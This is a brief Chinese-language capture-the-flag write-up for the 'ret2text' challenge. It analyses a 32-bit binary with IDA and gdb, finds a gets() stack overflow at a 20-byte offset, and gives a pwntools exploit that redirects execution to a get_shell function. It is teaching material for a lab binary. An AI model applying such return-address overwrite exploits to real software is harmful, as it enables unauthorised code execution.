file ret2text
看到是32位程序。
用32位ida打开,f5看函数,发现vulnerable存在溢出。
同时发现get_shell函数可以打开shell,地址为0x8048522
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h]
gets(buffer);
return 0;
}
gdb程序,
b main
r
b vulnerable
c
b 0x0804851d
c
输入没有溢出的数据:aaaaa
看堆栈,返回的地址存在0x8c,buf地址为0x78,偏离20。
构造exp
from pwn import *
io= process('./ret2text')
io.recvline()
payload=b'a'*20+p32(0x8048522)
io.sendline(payload)
io.interactive()
题目下载